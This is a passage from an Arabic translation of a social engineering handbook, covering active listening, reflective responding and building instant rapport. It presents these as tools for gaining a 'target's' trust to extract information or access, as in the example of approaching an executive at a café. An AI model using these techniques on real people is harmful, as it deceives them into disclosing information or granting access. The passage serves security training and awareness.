‫ذات ﻣرة ﻓﻲ أﺣد ﺗدرﯾﺑﺎت ﻣﺟﻣوﻋﺔ ﻣن اﻟﻧﺎس‪ ،‬وﻛﻧت أﻗول ﻟﮭم ﺑﻌض ﺟواﻧب ﺗﻛﺗﯾﻛﺎت اﻟﺗﻼﻋب ﻣﻔﺻﻠﺔ ﺟدا‪ .‬ﯾﻣﻛﻧﻧﻲ أن أﻗول ان اﺛﻧﯾن ﻣن‬
‫اﻟرﺟﺎل ﻻ ﯾﺻﻐون‪ .‬ﻗﻣت ﺑوﺿﻊ ﻓﻛر ﻋﺷواﺋﻲ ﻣﺛل‪" ،‬ﺣﺗﻰ اﻻن ﻧﻘوم ﺑﺧﺑز أﺳد ﻓﻲ ‪ 350‬درﺟﺔ ﻟﻣدة ‪ 15‬دﻗﯾﻘﺔ ﺣﺗﻰ ﯾﺻﺑﺢ ھﺷﺎ"‪ .‬ﺑﻘﯾﺔ‬
‫اﻟﻣﺟﻣوﻋﺔ اﻧدﻟﻌت ﻣن اﻟﺿﺣك واﻟﺗﻔت إﻟﻰ واﺣد ﻣن اﻻﺛﻧﯾن‪ ،‬وﻗﻠت "ﻣﺎ رأﯾك ﺟون "أﺟﺎب ﻣﻊ ﺗﺣدﯾﻖ ﻓﺎرغ وﺗﻣﺗﻣت"؟ أم‪ ،‬ﯾﺎه‪ ،‬ﯾﺑدو ﻣﺛﺎﻟﯾﺎ" ‪.‬‬
‫ﻻ ﺗﻔﻌل ھذا أﺑدا ﻣﻊ اﻟﮭدف‪ .‬إﻧﮭﺎ ﺿرﺑﺔ اﻟﻣوت ﻟﻠﻌﻼﻗﺔ‪ .‬ﻛون ﻣﺣﺗرم‪ ،‬وﺣﻔﺎظ ﻋﻠﻰ اﻟﻌواطف‪ ،‬واﻻﺳﺗﺟﺎﺑﺔ ﺑﺷﻛل ﻣﻧﺎﺳب ﻓﻲ ﺟﻣﯾﻊ اﻷوﻗﺎت ﻋﻧد‬
‫اﻟﺗﺣدث ﻣﻊ اﻟﮭدف‪.‬‬

‫إﯾﻼء اﻻھﺗﻣﺎم‪ ،‬وﺗوﻓﯾر اﻟدﻟﯾل‪ ،‬وإﻋطﺎء ردود اﻟﻔﻌل اﻹﯾﺟﺎﺑﯾﺔ‪ ،‬واﻟﺣرص ﻋﻠﻰ ﻋدم ﻣﻘﺎطﻌﺔ اﻟﮭدف‪ ،‬واﻻﺳﺗﺟﺎﺑﺔ ﺑﺷﻛل ﻣﻧﺎﺳب ﯾﻣﻛن أن ﺗﺟﻌﻠك‬
‫او ﺗﻛﺳرك ﻋﻧدﻣﺎ ﯾﺗﻌﻠﻖ اﻷﻣر ﺑﺎﻻﺳﺗﻣﺎع‪ .‬وﺧﺎﺻﺔ ﻋﻧدﻣﺎ ﺗﺄﺗﻲ ﻓﻲ اﻟﻠﻌب ﺧﻼل ﺗﻌﺎﻗدات اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ اﻟﻣﻣﺗدة‪ ،‬ﻣﺛل ﻋﻧدﻣﺎ ﺗﺿطر‬
‫ﻟﻠﺗﻔﺎﻋل ﻣﻊ اﻟﺳﺎدة ﻓﻲ ﻏرﻓﺔ اﻻﺟﺗﻣﺎﻋﺎت اﻟﺗﺟﺎرﯾﺔ وذﻟك ﻋن طرﯾﻖ "ﻟﻘﺎءه" ﻓﻲ اﻟﻣﻘﮭﻰ وﻣن ﺛم اﻟﺗﺣدث ﻣﻌﮫ ﺣول ﻋﻣﻠﮫ‪ .‬ﯾﻣﻛن أن ﯾﻛﺷف‬
‫اﻟﻛﺛﯾر ﻣن اﻟﻣﻌﻠوﻣﺎت اﻟﺗﻲ ﻛﻧت ﺗﺳﻌﻰ اﻟﯾﮭﺎ‪ ،‬ﻓﻲ ﻣﺣﺎدﺛﺔ دﻧﯾوﯾﺔ‪ .‬ﺗﺄﻛد ﻣن ﻣﻣﺎرﺳﺔ ھذه اﻟﻧﺻﺎﺋﺢ ﻓﻲ اﻟﻣﻧزل أو اﻟﻣﻛﺗب ﻗﺑل ان ﯾﺣﯾن اﻟوﻗت‬
‫ﻟﺗﺄﺧذ ﻣﻛﺎﻧﺎ ﻓﻲ اﻟﻣﺣﺎدﺛﺔ‪ .‬ﺗرﯾد ان ﺗﺻﺑﺢ ﻣﺳﺗﻣﻊ ﺟﯾد ﻟﺗﺻﺑﺢ اﻟطﺑﯾﻌﺔ اﻟﺛﺎﻧﯾﺔ ﻟدﯾك وﻛﺟزء ﻣن ﺗرﺳﺎﻧﺔ اﻟﻣواھب اﻟﺧﺎص ﺑك‪.‬‬
‫اﻟﻌواطف اﻟﺧﺎﺻﺔ ﺑك ھﻲ ﺟﺎﻧب آﺧر ﻣن اﻻﺳﺗﻣﺎع ﯾﺟب أن ﺗﺄﺧذه ﺑﻌﯾن اﻻﻋﺗﺑﺎر‪ .‬ﻋﻠﻰ ﺳﺑﯾل اﻟﻣﺛﺎل‪ ،‬ﻟﻘد ﻧﺷﺄت ﻓﻲ‪ ،‬أﺳرة إﯾطﺎﻟﯾﺔ دﯾﻧﯾﺔ‬
‫ﺻﺎرﻣﺔ‪ .‬ﺗﻌﻠﻣت ﻋدم ازدراء اﻟﻧﺳﺎء‪ ،‬وﻟﻛن ذات ﻣرة واﺣدة ﻧﺎدﯾت ﻋﻠﻰ أﻣﻲ ﺑﺎﺳم ﻣﻧﺣط‪ .‬ﺳﺄﻗول ﻟﻛم ان ھذا ﻟم ﯾﻧﺗﮫ ﺟﯾدا ﺑﺎﻟﻧﺳﺑﺔ ﻟﻲ‪ .‬ﺑﻌد‬
‫ﺳﻧوات ﻋدﯾدة ﻣن ﺗﻠك اﻟﺣﺎدﺛﺔ‪ ،‬ﻛﻧت أﻋﻣل ﻋﻠﻰ ﻣﺷروع وﻛﻧت اﺗﺣدث اﻟﻰ رﺟل ﻣن اﻟذﯾن ﻛﻧت أﺣﺎول اﻟﺣﺻول ﻋﻠﻰ ﺑﻌض اﻟﻣﻌﻠوﻣﺎت‪.‬‬
‫اﻗﺗرﺑت ﻣﻧﮫ ﻓﻲ وﺿﻌﻲ اﻻﺟﺗﻣﺎﻋﻲ وﺑدأﻧﺎ اﻟﻣﺣﺎدﺛﺔ‪ .‬ﺑدأ اﻟﺣدﯾث ﻋن اﻣرأة ﻋﻣﻼ ﻣﻌﮭﺎ‪ ،‬ﺑطرﯾﻘﺔ ﻏﯾر ﻻﺋﻘﺔ ﺟدا‪ .‬ھذه اﻟطرﯾﻘﺔ ﻗد أﺛﺎرﺗﻧﻲ‪ ،‬ﻟﻘد‬
‫وﺟدت اﻟﻛﺛﯾر ﻣن اﻟﻐﺿب ﯾﻐﻠﻲ داﺧﻠﻲ‪ .‬ﻛﺎن وﻗﺗﺎ ﻋﺻﯾﺑﺎ ﻻﺣﺗواء ﺗﻠك اﻟﻣﺷﺎﻋر وﻛﺎن ﻻ ﯾﺟب أن ﯾظﮭر ﻋﻠﻰ وﺟﮭﻲ وﻟﻐﺔ اﻟﺟﺳد‪ ،‬ﻣﻣﺎ أدى إﻟﻰ‬
‫اﻟﻔﺷل‪ .‬ﺗﻌﻠﻣت درﺳﺎ ﻗﯾﻣﺎ ﻟﻠﻐﺎﯾﺔ ﻋﻧدﻣﺎ ﯾﺗﻌﻠﻖ اﻷﻣر ﺑﺎﻻﺳﺗﻣﺎع ﺧﻼل اﻟﺗﻌﺎﻗدات اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ‪ ،‬ﯾﺟب أن ﺗﺣﺎول ﺟﮭدك ﻟﻌدم اﻟﺳﻣﺎح ﺑﻔﻠﺗر‬
‫اﻟﻣﻌﺗﻘدات اﻟﺧﺎﺻﺔ ﺑك ﻓﻲ اﻟﺣﺻول ﻋﻠﻰ اﻟطرﯾﻖ‪.‬‬
‫أﯾﺿﺎ‪ ،‬ﺗذﻛر ﺗﻔﺎﻋل ﻣﻊ اﻟرﺳﺎﻟﺔ‪ ،‬وﻟﯾس اﻟﺷﺧص‪ .‬إذا ﻛﻧت ﻻ ﺗواﻓﻖ ﻣﻊ ﻣﻌﺗﻘدات اﻟﺷﺧص أو اﻟﻣوﻗف‪ ،‬اﻟﺗﻛﻔل ﺑﮫ ﺳﯾﻘطﻊ ﺷوطﺎ طوﯾﻼ ﻓﻲ ﺟﻌل‬
‫ھذا اﻟﺷﺧص ﯾﺷﻌر ﺑﺎﻟراﺣﺔ ﻣﻌك‪ .‬ﺣﺗﻰ ﻓﻲ اﻟﺣﺎﻻت اﻟﺗﻲ ﻗد ﻻ ﺗواﻓﻖ ﯾﻣﻛﻧك أن ﺗﺟد ﺷﯾﺋﺎ ﺗﻌﺎطﻔﻲ ﻓﻲ ﻗوﻟﮫ‪.‬‬
‫ﻋﻠﻰ اﻟرﻏم ﻣن أﻧﮫ ﯾﻣﻛﻧك اﻟﺗﻔﻛﯾر "ﺑذل ﺟﮭدا أﻛﺑر‪ "،‬ﻓﺎﻻﺳﺗﺟﺎﺑﺔ ﺑﮭذه اﻟطرﯾﻘﺔ ﺗدع ھدﻓك ﯾﻌﻠم أﻧك ﺗﺳﺗﻣﻊ اﻟﯾﮫ‪ ،‬ﻣﻊ اﻟﺗﻌﺎطف ﻣﻊ ﻣﺣﻧﺔ ﻟﮭﺎ ﻓﻲ‬
‫اﻟﺣﯾﺎة‪ .‬ﺗﻌرف ھذه اﻟﺗﻘﻧﯾﺔ ﺒ ‪) reflective responding‬ﻋﻛس اﻻﺳﺗﺟﺎﺑﺔ(‪ .‬ﻋﻛس اﻻﺳﺗﺟﺎﺑﺔ ﻟدﯾﮫ ﺑﻌض اﻟﻣﺑﺎدئ اﻷﺳﺎﺳﯾﺔ ﻟذﻟك‪:‬‬
‫‪ -‬اﻻﺳﺗﻣﺎع ﺑﻧﺷﺎط‪ ،‬ﻛﻣﺎ ھو ﻣوﺿﺢ ﻓﻲ وﻗت ﺳﺎﺑﻖ‪.‬‬
‫‪ -‬ﻋﻧدﻣﺎ ﯾﺣﯾن وﻗت اﻟرد‪ ،‬ﻛون ﻋﻠﻰ ﺑﯾﻧﺔ ﻣن اﻟﻌواطف‪ .‬ﻣﻌرﻓﺔ ﻣﺎ ﺗﺷﻌر ﺑﮫ ﻛﮭدف ﯾﺗﺣدث ﯾﻣﻛن أن ﺗﺳﺎﻋدك ﻟﻠرد ﺑﺷﻛل ﺻﺣﯾﺢ‪.‬‬
‫‪ -‬ﺗﻛرار اﻟﻣﺣﺗوى‪ ،‬وﻟﻛن ﻟﯾس ﻣﺛل اﻟﺑﺑﻐﺎء‪ ،‬ﺑل ﺑﻛﻠﻣﺎﺗك‪.‬‬
‫‪ -‬ﺑدء اﻟرد ﻣﻊ ﻋﺑﺎرة ﻏﯾر ﻣﻠزﻣﺔ ﻣﺛل‪" ،‬ھذا ﯾﺑدو وﻛﺄﻧﮫ"‪" ،‬ﯾﺑدو" أو "ﯾﺑدو أن" ھذه اﻟﻌﺑﺎرات ﺗﺳﮭل اﻟرﺳﺎﻟﺔ اﻟﺗﻲ ﺗﺣﺎول أن ﺗﺳﻠﻣﮭﺎ‪ .‬إذا‬
‫ﻛﻧت ﺑﺣﺎﺟﺔ إﻟﻰ دﻟﯾل ﻋﻠﻰ ذﻟك‪ ،‬ﻓﻲ اﻟﻣرة اﻟﻘﺎدﻣﺔ اﻟﺗﻲ ﺗﺣﺻل ﻓﯾﮭﺎ ﻋﻠﻰ ﻣﺷﺎدة ﻣﻊ زﻣﯾل‪ ،‬ﻣدرب‪ ،‬اﻵﺑﺎء‪ ،‬أو ﻟﻣن ﯾﻘول‪" :‬أﻧت‬
‫ﺗﺻﯾﺑﻧﻲ ﺑﺎﻟﺟﻧون ﺑﺳﺑب ‪ "...‬وﻣﻘﺎرﻧﺔ رد ﻓﻌل اﻟﺷﺧص ﻣﻊ ﻣﺎ ﺗﺣﺻل ﻋﻠﯾﮫ ﻋﻧدﻣﺎ ﺗﻘول " ﯾﺑدو أﻧك ﻣﺟﻧون ﺑﺳﺑب ‪ " ...‬ﺑدﻻ ﻣن ذﻟك‪.‬‬
‫ﺳﺗرى أي واﺣد ﯾؤﺧذ أﻓﺿل‪.‬‬
‫ﻋﺎﻛس اﻻﺳﺗﺟﺎﺑﺔ اﺳﺗﺧداﻣﮭﺎ ﻣﻊ اﻻﺳﺗﻣﺎع اﻟﻔﻌﺎل ھﻲ ﻗوة ﻣﻣﯾﺗﺔ ﺟدا ﻓﻲ ﺳﺎﺣﺔ اﻟﺛﻘﺔ وﻣﮭﺎرات ﺑﻧﺎء اﻷﻟﻔﺔ‪.‬‬
‫ﻛﻠﻣﺎ ﺗﺗﻌﻠم ﻟﺗﺳﺗﻣﻊ ﺑﺷﻛل أﻓﺿل ﻓﮭذا ﺳوف ﯾﺻﺑﺢ ﺟزءا ﻣن طﺑﯾﻌﺗك وﺳوف ﺗﻌزز ﻗدرﺗك ﻋﻠﻰ اﻟرد ﻋﻠﻰ اﻟرﺳﺎﻟﺔ اﻟﺗﻲ ﺗﺳﻣﻌﮭﺎ‪ .‬ھدف اﻟﻣﮭﻧدس‬
‫اﻻﺟﺗﻣﺎﻋﻲ ھو ﺟﻣﻊ اﻟﻣﻌﻠوﻣﺎت‪ ،‬واﻟوﺻول إﻟﻰ ﻣﻛﺎن ﻣﺎ أو ﺷﻲء ﯾﺟب أﻻ ﯾﻛون اﻟوﺻول إﻟﻰ‪ ،‬أو اﻟﺗﺳﺑب ﻓﻲ اﻟﮭدف ﻻﺗﺧﺎذ إﺟراء ﻻ ﯾﻧﺑﻐﻲ‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪889‬‬

‫أن ﯾﺄﺧذه‪ .‬ﻓﻛر ﻓﻲ ھذا ﯾﺟب أن ﺗﻛون ﻣﺛﺎﻟﯾﺎ ﻓﻲ اﻟﺗﻼﻋب واﻟﺗﻲ ﻏﺎﻟﺑﺎ ﺗوﻗف اﻟﻧﺎس ﻣن ﺗﻌﻠم وﻣﻣﺎرﺳﺔ ﻣﮭﺎرات اﻻﺳﺗﻣﺎع‪ ،‬وﻟﻛن ھذا ھو اﻟﺳﺑب‬
‫ﺑﺎﻟﺿﺑط ﻣﺎ ﺗﺣﺗﺎﺟﮫ ﻟﺗﻛون ﻣﺳﺗﻣﻌﺎ ﻋظﯾﻣﺎ‪.‬‬
‫اﻧظر ﻓﻲ ھذﯾن اﻟﺳﯾﻧﺎرﯾوھﯾن اﻵﺗﯾﯾن‪:‬‬
‫‪ -‬واﺣدة ﻣن ﺟﯾراﻧﻛم ﯾﺄﺗﻲ ﻣرارا وﯾﺳﺄل ﻣﺎ إذا ﻛﺎن ﻟدﯾك اﻟوﻗت ﻟﻣﺳﺎﻋدﺗﮫ ﻋﻠﻰ ﻣﺷروع ﻓﻲ ﻣرآب ﻣﻧزﻟﮫ ﻟﻣدة ﺳﺎﻋﺔ ﺗﻘرﯾﺑﺎ‪ .‬ھذا اﻟﺟﺎر‬
‫ﻟدﯾﮫ ﻛﻠب واﻟذي ﯾﺗﻼﻋب ﺑﺎﻟﻘﻣﺎﻣﺔ اﻟﺧﺎﺻﺔ ﺑك ﻋدة ﻣرات وﯾﻣﯾل اﻟﻰ اﺳﺗﺧدام ﺳﺎﺣﺔ ﻣﻧزﻟك ﻛﺣﻣﺎم‪ .‬وﻛﻧت ﻋﻠﻰ وﺷك اﻟﺟﻠوس‬
‫ﻟﻼﺳﺗرﺧﺎء ﻣن ﻧﮭﺎﯾﺔ ﯾوم طوﯾل وﻣﺷﺎھدة ﺑﻌض اﻟﺗﻠﻔزﯾون أو ﻗراءة ﻛﺗﺎب‪.‬‬
‫‪ -‬ﺻدﯾﻖ طﻔوﻟﺗك ﯾﺄﺗﻲ اﻟﯾك وﯾﺧﺑرك أﻧﮫ ﯾﺣﺗﺎج ﺑﻌض اﻟﻣﺳﺎﻋدة ﻓﻲ ﻧﻘل ﺑﻌض اﻷﺛﺎث‪ .‬أﻧﮫ ﻣﺟرد ﻣﻛﺎن ﯾﺑﻌد ﻋﻧك ﺣواﻟﻲ ﺧﻣﺳﺔ أﻣﯾﺎل‪،‬‬
‫وأﻧﮫ ﻻ ﯾﻣﻛﻧﻧﻲ اﻟﺣﺻول ﻋﻠﻰ اﻷرﯾﻛﺔ ﻟﺻﻌود اﻟدرج‪ .‬ﻛﻧت ﻋﻠﻰ وﺷك اﻟﺟﻠوس ﻟﻼﺳﺗرﺧﺎء ﻗﻠﯾﻼ‪.‬‬
‫أي ﻣن اﻟﺳﯾﻧﺎرﯾوھﺎت اﻟﺗﻲ ﺳوف ﺗﺧﺗﺎرھﺎ وﺗﺿﻊ اﻻﺳﺗرﺧﺎء ﺟﺎﻧﺑﺎ؟ ﻣﻌظم اﻟﻧﺎس ﺳوف ﯾﺿﻊ اﻻﺳﺗرﺧﺎء ﺟﺎﻧﺑﺎ ﻣﻊ اﻟﺳﯾﻧﺎرﯾو اﻟﺛﺎﻧﻲ‪ ،‬وﻟﻛن‬
‫ﺳوف ﯾﺄﺗﻲ ﻣﻊ ﻋذر أو ﺳﺑب ﻟﻌدم اﻟﻣﺳﺎﻋدة ﻓﻲ اﻟﺳﯾﻧﺎرﯾو اﻷول‪ ،‬أو ﻋﻠﻰ اﻷﻗل ﺳوف ﯾﺣﺎول ﺗﺄﺟﯾﻠﮫ إﻟﻰ ﯾوم آﺧر ﻋﻧدﻣﺎ ﻻ ﯾﻛون "ﻣﺷﻐول"‪.‬‬
‫ﻟﻣﺎذا؟ اﻟﻧﺎس ﻣﻧﻔﺗﺣون ﺟدا وﺣرﯾن ﻣﻊ اﻷﺻدﻗﺎء‪ .‬ﻋﻧدﻣﺎ ﺗﺷﻌر ﺑﺎﻟراﺣﺔ ﻣﻊ ﺷﺧص ﻣﺎ‪ ،‬ﻻ ﯾوﺟد ﻟدﯾك ﺣدود وﺳوف ﺗﺿﻊ ﺟﺎﻧﺑﺎ اﻟرﻏﺑﺎت‬
‫واﻻﺣﺗﯾﺎﺟﺎت اﻟﺧﺎﺻﺔ ﺑك ﻓﻲ ﺑﻌض اﻷﺣﯾﺎن ﻟﻣﺳﺎﻋدﺗﮭم‪ .‬واﺣد ﻣن اﻷﺷﯾﺎء اﻟطﺑﯾﻌﯾﺔ اﻟﺗﻲ ﺗﺛﻖ ﺑﮭﺎ ھﻲ اﻟرﺳﺎﻟﺔ اﻟﻘﺎدﻣﺔ ﻣن اﻟﺻدﯾﻖ‪ ،‬ﻓﻲ ﺣﯾن ﻣﻊ‬
‫اﻟﻐرﯾب ﯾﻣﻛن ﻟﻠﻣرء أن ﯾﺑدأ ﺑﺎﻟﺗﺧﻣﯾن ﻓﯾﻣﺎ ﯾﻘﺎل‪ ،‬ﻓﻲ ﻣﺣﺎوﻟﺔ ﻟﺗﺣدﯾد ﻣﺎ إذا ﻛﺎن ﺻﺎدﻗﺎ أم ﻻ‪ .‬ﻓﻲ ﺣﺎﻟﺔ اﻟﻌﻼﻗﺔ ﻣﻊ اﻷﺻدﻗﺎء‪ ،‬ﯾﺳﻣﻰ ھذا اﻟﺻدد‬
‫ﺑﺎﻟﻌﻼﻗﺔ )‪.(rapport‬‬
‫ﻟﺳﻧوات اﻟﻌﻼﻗﺔ ﯾﺗم اﻟﺣدﯾث ﻋﻠﯾﮭﺎ ﻓﻘط ﻋﻧدﻣﺎ ﯾﺗﻌﻠﻖ اﻷﻣر ﺑرﺟﺎل اﻟﻣﺑﯾﻌﺎت واﻟﻣﻔﺎوﺿﯾن‪ ،‬وﻣﺎ ﺷﺎﺑﮫ ذﻟك‪ .‬اﻟﻌﻼﻗﺔ ﻟﯾس ﻓﻘط ﻟﻣﻧدوﺑﻲ اﻟﻣﺑﯾﻌﺎت‪.‬‬
‫وإﻧﻣﺎ ھﻲ أداة ﯾﻣﻛن ﻷي ﺷﺧص اﺳﺗﺧداﻣﮭﺎ‪ ،‬وﺧﺎﺻﺔ اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ‪ .‬إذا ﻛﻧت أﺗﺳﺎءل ﻛﯾف ﯾﻣﻛن ﺑﻧﺎء ﻋﻼﻗﺔ ﻋﻠﻰ اﻟﻔور‪.‬‬

‫ﺑﻧﺎء ﻋﻼﻗﺔ ﻓورﯾﺔ )‪(Building Instant Rapport‬‬

‫ﻛﺎن ﻟﻲ زﻣﯾل ﻣن اﻟﻌﻣل اﻟﺳﺎﺑﻖ أﺳﻣﮫ‪ ،‬ﺗوﻧﻲ‪ ،‬ﻛﺎن ﯾﻘول إن ﺑﻧﺎء اﻟﻌﻼﻗﺔ أﻛﺛر أھﻣﯾﺔ ﻣن اﻟﺗﻧﻔس‪ .‬ﻻ أﻋﺗﻘد ﺣﻘﺎ أن ھذا ﺻﺣﯾﺢ‪ ،‬وﻟﻛن ﻟدﯾﮭﺎ ﺑﻌض‬
‫ﻣن اﻟﺣﻘﯾﻘﺔ ﻓﻲ أن ﺑﻧﺎء اﻟﻌﻼﻗﺔ أﻣر ﺣﯾوي‪.‬‬
‫ﺗﻌرف وﯾﻛﯾﺑﯾدﯾﺎ ﻟﻠﻌﻼﻗﺔ ھﻲ‪" ،‬واﺣدة ﻣن أھم اﻟﺳﻣﺎت أو ﺧﺻﺎﺋص اﻟﺗﻔﺎﻋل اﻟﺑﺷري اﻟﻼوﻋﻲ‪ .‬وﻣن اﻟﻘواﺳم اﻟﻣﺷﺗرﻛﺔ ﻣن ﻣﻧظور‪" :‬ﯾﺟري ﻓﻲ‬
‫ﺗزاﻣن ﻣﻊ"‪ ،‬أو "ﯾﺟري ﻋﻠﻰ ﻧﻔس ﻣوﺟﺔ" اﻟﺷﺧص اﻟذي ﻛﻧت ﺗﺗﺣدث ﻣﻌﮫ‪.‬‬
‫ﻟﻣﺎذا اﻟﻌﻼﻗﺔ ﻧﺎﻗﺷت ﻓﻲ ھذا اﻟﺟزء؟ ﻷﻧﮫ ﻋﻧﺻر أﺳﺎﺳﻲ ﻓﻲ ﺗطوﯾر اﻟﻌﻼﻗﺔ ﻣﻊ أي ﺷﺧص‪ .‬دون اﻟﻌﻼﻗﺔ ﺗﻛون ﻓﻲ طرﯾﻖ ﻣﺳدود‪ .‬ﻣن ﺿﻣن‬
‫اﻟﻣﺑﺎدئ اﻟﻧﻔﺳﯾﺔ وراء اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ‪ ،‬اﻟﻌﻼﻗﺔ وھﻲ واﺣدة ﻣن اﻟرﻛﺎﺋز‪.‬‬
‫ﻗﺑل اﻟدﺧول ﻓﻲ ﺟواﻧب ﻛﯾﻔﯾﺔ اﺳﺗﺧدام اﻟﻌﻼﻗﺔ ﻛﻣﮭﻧدس اﺟﺗﻣﺎﻋﻲ ﯾﺟب أن ﺗﻌرف ﻛﯾﻔﯾﺔ ﺑﻧﺎء اﻟﻌﻼﻗﺔ‪ .‬ﺑﻧﺎء اﻟﻌﻼﻗﺔ ھو أداة ھﺎﻣﺔ ﻓﻲ ﺗرﺳﺎﻧﺔ‬
‫اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ‪.‬‬
‫ﺗﺧﯾل أﻧك ﯾﻣﻛن أن ﺗﺟﻌل اﻟﻧﺎس اﻟذي ﺗﻠﺗﻘون ﺑﮭم ﯾرﯾدون اﻟﺗﺣدث ﻣﻌك‪ ،‬ﯾرﯾدون أن ﯾﻘوﻻ ﻟﻛم ﻗﺻﺔ ﺣﯾﺎﺗﮭﺎ‪ ،‬وﯾرﯾدون أن ﯾﺛﻖ ﺑﻛم‪ .‬ھل ﻗﺎﺑﻠت‬
‫ﻣن ﻗﺑل ﺷﺧص ﻣن ھذا اﻟﻘﺑﯾل‪ ،‬ﺷﺧص اﺟﺗﻣﻌت ﻣﻌﮫ ﻣؤﺧرا ﻟﻛﻧك ﺗﺷﻌر ﺗﻣﺎﻣﺎ ﺑﺳﮭول ﻗول أﺷﯾﺎء ﺷﺧﺻﯾﺔ ﺟدا ﻟﮫ؟ ﻗد ﺗﻠﻌب اﻟﻌدﯾد ﻣن اﻷﺳﺑﺎب‬
‫اﻟﻧﻔﺳﯾﺔ إﻟﻰ ﻣﺎ اﻟﺳﺑب ﻓﻲ ھذه اﻟﺣﺎﻟﺔ وﻟﻛن اﻟﺣﺎﻟﺔ ﻗد ﺗﻛون أﻧت وھذا اﻟﺷﺧص ﻛﺎن ﻣﺟرد ﻋﻼﻗﺔ ﺟﯾدة‪.‬‬
‫اﻷﻗﺳﺎم اﻟﺗﺎﻟﯾﺔ ﺗﻠﺧص اﻟﻧﻘﺎط اﻟﮭﺎﻣﺔ ﺣول ﺑﻧﺎء اﻟﻌﻼﻗﺔ وﻛﯾﻔﯾﺔ اﺳﺗﺧداﻣﮭﺎ ﻓﻲ ﻋﻼﻗﺔ اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ‪.‬‬
‫ﻛﻮن ﺻﺎدﻗﺎ ﺣﻮل اﻟﺮﻏﺒﺔ ﻓﻲ اﻟﺘﻌﺮف ﻋﻠﻰ اﻟﻨﺎس )‪(Be Genuine About Wanting To Get To Know People‬‬

‫ﻣﺎ ﻣدى أھﻣﯾﺔ اﻟﻧﺎس ﻟك؟ ھل ﺗﺳﺗﻣﺗﻊ ﺑﺎﻻﺟﺗﻣﺎع ﺑﺎﻟﻧﺎس اﻟﺟدﯾدة؟ اﻧﮭﺎ ﻋﻘﻠﯾﺔ ﻋن اﻟﺣﯾﺎة‪ ،‬ﻻ ﺷﻲء ﯾﻣﻛن ﺗدرﯾﺳﮭﺎ‪ .‬ﺷرط أﺳﺎﺳﻲ ﻟﺑﻧﺎء ﻋﻼﻗﺔ‬
‫ﺗروق اﻟﻧﺎس‪ .‬ﯾﻣﻛن أن ﯾرى اﻟﻧﺎس اﻟﻣﺻﻠﺣﺔ وھﻣﯾﺔ‪.‬‬
‫ﻟﺗﻛون ﻣﮭﻧدس اﺟﺗﻣﺎﻋﻲ ﺟﯾد وﺗﻛون ﻗﺎدرة ﻋﻠﻰ اﺳﺗﺧدام اﻷﻟﻔﺔ‪ ،‬اﻟﻧﺎس ﺑﺣﺎﺟﺔ إﻟﻰ أن ﯾﻛوﻧوا ﻣﮭﻣﯾن ﻟك‪ .‬ﯾﺟب أن ﺗﺣب اﻟﻧﺎس وﺗﺗﻣﺗﻊ ﺑﺎﻟﺗﻔﺎﻋل‬
‫ﻣﻌﮭم‪ .‬ﻋﻠﯾك أن ﺗرﻏب ﻓﻲ ﻣﻌرﻓﺔ اﻟﻣزﯾد ﻋن اﻟﻧﺎس‪ .‬اﻟﻧﺎس ﯾﻣﻛﻧﮭم رؤﯾﺔ اﻻﺑﺗﺳﺎﻣﺎت اﻟوھﻣﯾﺔ واﻻھﺗﻣﺎﻣﺎت اﻟوھﻣﯾﺔ‪ .‬ﺗطوﯾر اﻻھﺗﻣﺎم اﻟﺻﺎدق‬
‫ﻓﻲ اﻟﮭدف اﻟﺧﺎص ﺑك ﯾﻣﻛن أن ﯾﻘطﻊ ﺷوطﺎ طوﯾﻼ ﻧﺣو ﺑﻧﺎء اﻟﻌﻼﻗﺔ‪.‬‬
‫أھﺘﻢ ﺑﻤﻈﮭﺮك )‪(Take Care with Your Appearance‬‬

‫ﻻ ﯾﻣﻛﻧك ﺗﻐﯾﯾر ﺑﻌض اﻷﻣور اﻟﺗﻲ ﻗد ﺗؤﺛر ﻋﻠﻰ ﺗﻌﺎﻣﻠك ﻣﻊ اﻵﺧرﯾن‪ .‬ﻟﻸﺳف‪ ،‬ھﻧﺎك ﺑﻌض اﻟﻧﺎس ﻣﺎ زاﻟت ﺗﻧظر اﻟﻰ ﻟون اﻟﺑﺷرة أو اﻟﺟﻧس‪،‬‬
‫أو اﻟﻌﻣر ﻗﺑل ﺗﺳﮭﯾل أي ﺗﻔﺎﻋل‪ .‬ﻻ ﯾﻣﻛﻧك اﻟﺳﯾطرة ﻋﻠﻰ ﺗﻠك اﻷﺷﯾﺎء‪ ،‬وﻟﻛن ﯾﻣﻛﻧك اﻟﺗﺣﻛم ﻓﻲ ﺟواﻧب ﻣظﮭرك ﻣﺛل اﻟﻣﻼﺑس‪ ،‬راﺋﺣﺔ اﻟﺟﺳم‪،‬‬
‫واﻟﻧظﺎﻓﺔ‪ ،‬وﻛذﻟك اﻻﺗﺻﺎل ﺑﺎﻟﻌﯾن اﻟﺧﺎﺻﺔ ﺑك‪ ،‬وﺣرﻛﺎت اﻟﺟﺳم‪ ،‬وﺗﻌﺑﯾرات اﻟوﺟﮫ‪ .‬ﻗرأت ذات ﻣرة اﻟﺑﯾﺎن رأﯾﺗﮫ ﯾﺛﺑت ﺣﻘﯾﻘﯾﺔ اﻟﺗﺟﺎھل ﻟﻣرات‬
‫ﻛﺛﯾرة ﺟدا‪" :‬إذا ﻛﺎن اﻟﺷﺧص ﻟﯾس ﻣرﯾﺢ ﻣﻊ ﻧﻔﺳﮫ‪ ،‬ﻓﺎن اﻟﺑﻌض اﻵﺧر ﻻ ﯾﻛوﻧوا ﻣرﯾﺣﯾن ﻣﻌﮫ أﯾﺿﺎ"‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪890‬‬

